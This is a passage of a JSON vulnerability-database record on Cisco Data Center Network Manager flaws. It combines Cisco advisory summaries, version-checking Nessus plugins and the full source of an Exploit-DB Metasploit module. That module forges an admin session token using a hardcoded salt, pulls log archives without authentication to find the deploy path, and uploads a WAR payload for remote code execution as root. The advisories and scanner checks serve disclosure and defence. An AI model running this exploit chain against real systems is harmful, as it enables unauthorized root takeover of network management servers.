"2019-09-19T16:08:38", "published": "2019-06-26T16:00:00", "id": "CISCO-SA-20190626-DCNM-FILE-DWNLD", "href": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld", "type": "cisco", "title": "Cisco Data Center Network Manager Arbitrary File Download Vulnerability", "cvss": {"score": 7.5, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}}, {"lastseen": "2020-12-24T11:40:40", "bulletinFamily": "software", "cvelist": ["CVE-2019-1619"], "description": "A vulnerability in the web-based management interface of Cisco Data Center Network Manager (DCNM) could allow an unauthenticated, remote attacker to bypass authentication and execute arbitrary actions with administrative privileges on an affected device.\n\nThe vulnerability is due to improper session management on affected DCNM software. An attacker could exploit this vulnerability by sending a crafted HTTP request to the affected device. A successful exploit could allow the attacker to gain administrative access on the affected device.\n\nCisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.\n\nThis advisory is available at the following link:\nhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass [\"https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass\"]", "modified": "2019-09-19T16:08:37", "published": "2019-06-26T16:00:00", "id": "CISCO-SA-20190626-DCNM-BYPASS", "href": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass", "type": "cisco", "title": "Cisco Data Center Network Manager Authentication Bypass Vulnerability", "cvss": {"score": 9.8, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}}], "nessus": [{"lastseen": "2020-08-28T17:26:15", "description": "According to its self-reported version, Cisco Data Center Network Manager is affected by an arbitrary file download\nvulnerability in the web-based management interface. An unauthenticated, remote attacker can exploit this, \nto download arbitrary files and disclose sensitive information.\n\nPlease see the included Cisco BIDs and Cisco Security Advisory for more information", "edition": 12, "cvss3": {"score": 7.5, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}, "published": "2019-07-16T00:00:00", "title": "Cisco Data Center Network Manager Arbitrary File Download Vulnerability", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-1621"], "modified": "2019-07-16T00:00:00", "cpe": ["cpe:/a:cisco:data_center_network_manager"], "id": "CISCO-SA-20190626-DCNM-FILE-DWNLD.NASL", "href": "https://www.tenable.com/plugins/nessus/126701", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(126701);\n script_version(\"1.3\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2020/08/27\");\n\n script_cve_id(\"CVE-2019-1621\");\n script_bugtraq_id(108904);\n script_xref(name:\"CISCO-BUG-ID\", value:\"CSCvo64651\");\n script_xref(name:\"CISCO-SA\", value:\"cisco-sa-20190626-dcnm-file-dwnld\");\n script_xref(name:\"IAVA\", value:\"2019-A-0221\");\n\n script_name(english:\"Cisco Data Center Network Manager Arbitrary File Download Vulnerability\");\n script_summary(english:\"Checks the version of Cisco Data Center Network Manager\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote device is missing a vendor-supplied security patch\");\n script_set_attribute(attribute:\"description\", value:\n\"According to its self-reported version, Cisco Data Center Network Manager is affected by an arbitrary file download\nvulnerability in the web-based management interface. An unauthenticated, remote attacker can exploit this, \nto download arbitrary files and disclose sensitive information.\n\nPlease see the included Cisco BIDs and Cisco Security Advisory for more information\");\n # https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?cd9e4a29\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvo64651\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to the relevant fixed version referenced in Cisco bug ID CSCvo64651\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-1621\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_cwe_id(264);\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/06/26\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/06/26\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/07/16\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:cisco:data_center_network_manager\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"CISCO\");\n\n script_copyright(english:\"This script is Copyright (C) 2019-2020 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"cisco_prime_dcnm_installed_win.nasl\", \"cisco_prime_dcnm_installed_linux.nasl\");\n script_require_keys(\"installed_sw/Cisco Prime DCNM\");\n\n exit(0);\n}\n\ninclude('global_settings.inc');\ninclude('misc_func.inc');\ninclude('vcf.inc');\n\napp = 'Cisco Prime DCNM';\n\nget_install_count(app_name:app, exit_if_zero:TRUE);\n\napp_info = vcf::get_app_info(app:app);\nvcf::check_granularity(app_info:app_info, sig_segments:3);\n\nconstraints = [\n { 'fixed_version' : '11.2.1.0', 'fixed_display' : '11.2(1)' }\n];\n\nvcf::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_WARNING);", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2020-09-25T05:30:03", "description": "A vulnerability in the web-based management interface of Cisco Data\nCenter Network Manager (DCNM) could allow an unauthenticated, remote\nattacker to bypass authentication and execute arbitrary actions with\nadministrative privileges on an affected device. The vulnerability is\n due to improper session management on affected DCNM software.\n An attacker could exploit this vulnerability by sending a crafted\n HTTP request to the affected device. A successful exploit could\n allow the attacker to gain administrative access on the affected\n device.\n\nAccording to its self-reported version, Cisco Data Center Network\nManager is affected by a vulnerability. Please see the included Cisco\nBIDs and Cisco Security Advisory for more information", "edition": 13, "cvss3": {"score": 9.8, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2019-07-12T00:00:00", "title": "Cisco Data Center Network Manager < 11.1(1) Authentication Bypass Vulnerability", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-1619"], "modified": "2019-07-12T00:00:00", "cpe": ["cpe:/a:cisco:data_center_network_manager"], "id": "CISCO-SA-20190626-DCNM-BYPASS.NASL", "href": "https://www.tenable.com/plugins/nessus/126643", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(126643);\n script_version(\"1.7\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2020/09/24\");\n\n script_cve_id(\"CVE-2019-1619\");\n script_bugtraq_id(108902);\n script_xref(name:\"CISCO-BUG-ID\", value:\"CSCvo64641\");\n script_xref(name:\"CISCO-SA\", value:\"cisco-sa-20190626-dcnm-bypass\");\n script_xref(name:\"IAVA\", value:\"2019-A-0221\");\n\n script_name(english:\"Cisco Data Center Network Manager < 11.1(1) Authentication Bypass Vulnerability\");\n script_summary(english:\"Checks the version of Cisco Data Center Network Manager\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote device is missing a vendor-supplied security patch\");\n script_set_attribute(attribute:\"description\", value:\n\"A vulnerability in the web-based management interface of Cisco Data\nCenter Network Manager (DCNM) could allow an unauthenticated, remote\nattacker to bypass authentication and execute arbitrary actions with\nadministrative privileges on an affected device. The vulnerability is\n due to improper session management on affected DCNM software.\n An attacker could exploit this vulnerability by sending a crafted\n HTTP request to the affected device. A successful exploit could\n allow the attacker to gain administrative access on the affected\n device.\n\nAccording to its self-reported version, Cisco Data Center Network\nManager is affected by a vulnerability. Please see the included Cisco\nBIDs and Cisco Security Advisory for more information\");\n # https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?b938d05d\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvo64641\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to the relevant fixed version referenced in Cisco bug ID CSCvo64641\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-1619\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Cisco Data Center Network Manager Unauthenticated Remote Code Execution');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n script_cwe_id(284);\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/06/26\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/06/26\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/07/12\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:cisco:data_center_network_manager\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"CISCO\");\n\n script_copyright(english:\"This script is Copyright (C) 2019-2020 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"cisco_prime_dcnm_web_detect.nasl\");\n script_require_keys(\"installed_sw/cisco_dcnm_web\");\n script_require_ports(\"Services/www\", 80);\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"http.inc\");\ninclude(\"install_func.inc\");\n\nappname = \"Cisco Prime DCNM\";\napp_id = \"cisco_dcnm_web\";\nget_install_count(app_name:app_id, exit_if_zero:TRUE);\n\nport = get_http_port(default:80);\ninstall = get_single_install(app_name:app_id, port:port, exit_if_unknown_ver:TRUE);\n\nurl = build_url(qs:install['path'], port:port);\nver = install['version'];\n\nmatch = pregmatch(string:ver, pattern:\"^([0-9.]+)\\(([^)]+)\\)\");\nif (isnull(match)) exit(1, \"Failed to parse the version (\"+ver+\").\");\n\nmajor = match[1];\nbuild = match[2];\n\nversion = major + '.' + build;\n\n# Version 11.0(1) is not vulnerable as stated in the advisory\nif (major == '11.0' && build = '1') audit(AUDIT_WEB_APP_NOT_AFFECTED, appname, url, ver);\n\nif (ver_compare(ver:version, fix:'11.1.1', strict:FALSE) < 0)\n{\n\n report =\n '\\n URL : ' + url +\n '\\n Installed version : ' + ver +\n '\\n Fixed version : 11.1(1)' +\n '\\n';\n security_report_v4(severity:SECURITY_HOLE, port:port, extra:report);\n}\n\nelse audit(AUDIT_WEB_APP_NOT_AFFECTED, appname, url, ver);", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "exploitdb": [{"lastseen": "2019-09-03T13:38:41", "description": "", "published": "2019-09-03T00:00:00", "type": "exploitdb", "title": "Cisco Data Center Network Manager - Unauthenticated Remote Code Execution (Metasploit)", "bulletinFamily": "exploit", "cvelist": ["CVE-2019-1622", "CVE-2019-1620", "CVE-2019-1619"], "modified": "2019-09-03T00:00:00", "id": "EDB-ID:47347", "href": "https://www.exploit-db.com/exploits/47347", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Remote\r\n Rank = ExcellentRanking\r\n\r\n include Msf::Exploit::Remote::HttpClient\r\n include Msf::Exploit::EXE\r\n include Msf::Exploit::FileDropper\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'Cisco Data Center Network Manager Unauthenticated Remote Code Execution',\r\n 'Description' => %q{\r\n DCNM exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload.\r\n An authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps\r\n directory and achieve remote code execution as root.\r\n This module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on\r\n versions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct\r\n directory for the WAR file upload.\r\n This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should\r\n work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit\r\n (see References to understand why).\r\n },\r\n 'Author' =>\r\n [\r\n 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module\r\n ],\r\n 'License' => MSF_LICENSE,\r\n 'References' =>\r\n [\r\n [ 'CVE', '2019-1619' ], # auth bypass\r\n [ 'CVE', '2019-1620' ], # file upload\r\n [ 'CVE', '2019-1622' ], # log download\r\n [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ],\r\n [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ],\r\n [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ],\r\n [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_upload_2019.rb' ],\r\n [ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ]\r\n ],\r\n 'Platform' => 'java',\r\n 'Arch' => ARCH_JAVA,\r\n 'Targets' =>\r\n [\r\n [ 'Automatic', {} ],\r\n [\r\n 'Cisco DCNM 11.1(1)', {}\r\n ],\r\n [\r\n 'Cisco DCNM 11.0(1)', {}\r\n ],\r\n [\r\n 'Cisco DCNM 10.4(2)', {}\r\n ]\r\n ],\r\n 'Privileged' => true,\r\n 'DefaultOptions' => { 'WfsDelay' => 10 },\r\n 'DefaultTarget' => 0,\r\n 'DisclosureDate' => 'Jun 26 2019'\r\n ))\r\n\r\n register_options(\r\n [\r\n Opt::RPORT(443),\r\n OptBool.new('SSL', [true, 'Connect with TLS', true]),\r\n OptString.new('TARGETURI', [true, \"Default server path\", '/']),\r\n OptString.new('USERNAME', [true, \"Username for auth (required only for 11.0(1) and above\", 'admin']),\r\n OptString.new('PASSWORD', [true, \"Password for auth (required only for 11.0(1) and above\", 'admin']),\r\n ])\r\n end\r\n\r\n def check\r\n # at the moment this is the best way to detect\r\n # check if pmreport and fileUpload servlets return a 500 error with no params\r\n res = send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),\r\n 'vars_get' =>\r\n {\r\n 'token' => rand_text_alpha(5..20)\r\n },\r\n 'method' => 'GET'\r\n )\r\n if res && res.code == 500\r\n res = send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),\r\n 'method' => 'GET',\r\n )\r\n if res && res.code == 500\r\n return CheckCode::Detected\r\n end\r\n end\r\n\r\n CheckCode::Unknown\r\n end\r\n\r\n def target_select\r\n if target != targets[0]\r\n return target\r\n else\r\n res = send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about','version'),\r\n 'method' => 'GET'\r\n )\r\n if res && res.code == 200\r\n if res.body.include?('version\":\"11.1(1)')\r\n print_good(\"#{peer} - Detected DCNM 11.1(1)\")\r\n print_status(\"#{peer} - No authentication required, ready to exploit!\")\r\n return targets[1]\r\n elsif res.body.include?('version\":\"11.0(1)')\r\n print_good(\"#{peer} - Detected DCNM 11.0(1)\")\r\n print_status(\"#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit\")\r\n return targets[2]\r\n elsif res.body.include?('version\":\"10.4(2)')\r\n print_good(\"#{peer} - Detected DCNM 10.4(2)\")\r\n print_status(\"#{peer} - No authentication required, ready to exploit!\")\r\n return targets[3]\r\n else\r\n print_error(\"#{peer} - Failed to detect target version.\")\r\n print_error(\"Please contact module author or add the target yourself and submit a PR to the Metasploit project!\")\r\n print_error(res.body)\r\n print_status(\"#{peer} - We will proceed assuming the version is below 10.4(2) and vulnerable to auth bypass\")\r\n return targets[3]\r\n end\r\n end\r\n fail_with(Failure::NoTarget, \"#{peer} - Failed to determine target\")\r\n end\r\n end\r\n\r\n def auth_v11\r\n res = send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, 'fm/'),\r\n 'method' => 'GET',\r\n 'vars_get' =>\r\n {\r\n 'userName' => datastore['USERNAME'],\r\n 'password' => datastore['PASSWORD']\r\n },\r\n )\r\n\r\n if res && res.code == 200\r\n # get the JSESSIONID cookie\r\n if res.get_cookies\r\n res.get_cookies.split(';').each do |cok|\r\n if cok.include?(\"JSESSIONID\")\r\n return cok\r\n end\r\n end\r\n end\r\n end\r\n end\r\n\r\n def auth_v10\r\n # step 1: get a JSESSIONID cookie and the server Date header\r\n res = send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, 'fm/'),\r\n 'method' => 'GET'\r\n )\r\n\r\n # step 2: convert the Date header and create the auth hash\r\n if res && res.headers['Date']\r\n jsession = res.get_cookies.split(';')[0]\r\n date = Time.httpdate(res.headers['Date'])\r\n server_date = date.strftime(\"%s\").to_i * 1000\r\n print_good(\"#{peer} - Got sysTime value #{server_date.to_s}\")\r\n\r\n # auth hash format:\r\n # username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF\r\n session_id = rand(1000..50000).to_s\r\n md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s +\r\n \"POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF\"\r\n md5_str = Base64.strict_encode64(md5)\r\n\r\n # step 3: authenticate our cookie as admin\r\n # token format: sessionId.sysTime.md5_str.username\r\n res = send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),\r\n 'cookie' => jsession,\r\n 'vars_get' =>\r\n {\r\n 'token' => \"#{session_id}.#{server_date.to_s}.#{md5_str}.admin\"\r\n },\r\n 'method' => 'GET'\r\n )\r\n\r\n if res && res.code == 500\r\n return jsession\r\n end\r\n end\r\n end\r\n\r\n # use CVE-2019-1622 to fetch the logs unauthenticated, and get the WAR upload path from jboss*.log\r\n def get_war_path\r\n res = send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, 'fm', 'log', 'fmlogs.zip'),\r\n 'method' => 'GET'\r\n )\r\n\r\n if res && res.code == 200\r\n tmp = Tempfile.new\r\n # we have to drop this into a file first\r\n # else we will get a Zip::GPFBit3Error if we use an InputStream\r\n File.binwrite(tmp, res.body)\r\n Zip::File.open(tmp) do |zis|\r\n zis.each do |entry|\r\n if entry.name =~ /jboss[0-9]*\\.log/\r\n fdata = zis.read(entry)\r\n if fdata[/Started FileSystemDeploymentService for directory ([\\w\\/\\\\\\-\\.:]*)/]\r\n tmp.close\r\n tmp.unlink\r\n return $1.strip\r\n end\r\n end\r\n end\r\n end\r\n end\r\n end\r\n\r\n\r\n def exploit\r\n target = target_select\r\n\r\n if target == targets[2]\r\n jsession = auth_v11\r\n elsif target == targets[3]\r\n jsession = auth_v10\r\n end\r\n\r\n # targets[1] DCNM 11.1(1) doesn't need auth!\r\n if jsession.nil? && target != targets[1]\r\n fail_with(Failure::NoAccess, \"#{peer} - Failed to authenticate JSESSIONID cookie\")\r\n elsif target != targets[1]\r\n print_good(\"#{peer} - Successfully authenticated our JSESSIONID cookie\")\r\n end\r\n\r\n war_path = get_war_path\r\n if war_path.nil? or war_path.empty?\r\n fail_with(Failure::Unknown, \"#{peer} - Failed to get WAR path from logs\")\r\n else\r\n print_good(\"#{peer} - Obtain WAR path from logs: #{war_path}\")\r\n end\r\n\r\n # Generate our payload... and upload it\r\n app_base = rand_text_alphanumeric(6..16)\r\n war_payload = payload.encoded_war({ :app_name => app_base }).to_s\r\n\r\n fname = app_base + '.war'\r\n post_data = Rex::MIME::Message.new\r\n post_data.add_part(fname, nil, nil, content_disposition = \"form-data; name=\\\"fname\\\"\")\r\n post_data.add_part(war_path, nil, nil, content_disposition = \"form-data; name=\\\"uploadDir\\\"\")\r\n post_data.add_part(war_payload,\r\n \"application/octet-stream\", 'binary',\r\n \"form-data; name=\\\"#{rand_text_alpha(5..20)}\\\"; filename=\\\"#{rand_text_alpha(6..10)}\\\"\")\r\n data = post_data.to_s\r\n\r\n print_status(\"#{peer} - Uploading payload...\")\r\n res = send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),\r\n 'method' => 'POST',\r\n 'data' => data,\r\n 'cookie' => jsession,\r\n 'ctype' => \"multipart/form-data; boundary=#{post_data.bound}\"\r\n )\r\n\r\n if res && res.code == 200 && res.body[/#{fname}/]\r\n print_good(\"#{peer} - WAR uploaded, waiting a few seconds for deployment...\")\r\n\r\n sleep 10\r\n\r\n print_status(\"#{peer} - Executing payload...\")\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, app_base),\r\n 'method' => 'GET'\r\n )\r\n else\r\n fail_with(Failure::Unknown, \"#{peer} - Failed to upload WAR file\")\r\n end\r\n end\r\nend", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://www.exploit-db.com/download/47347"}]}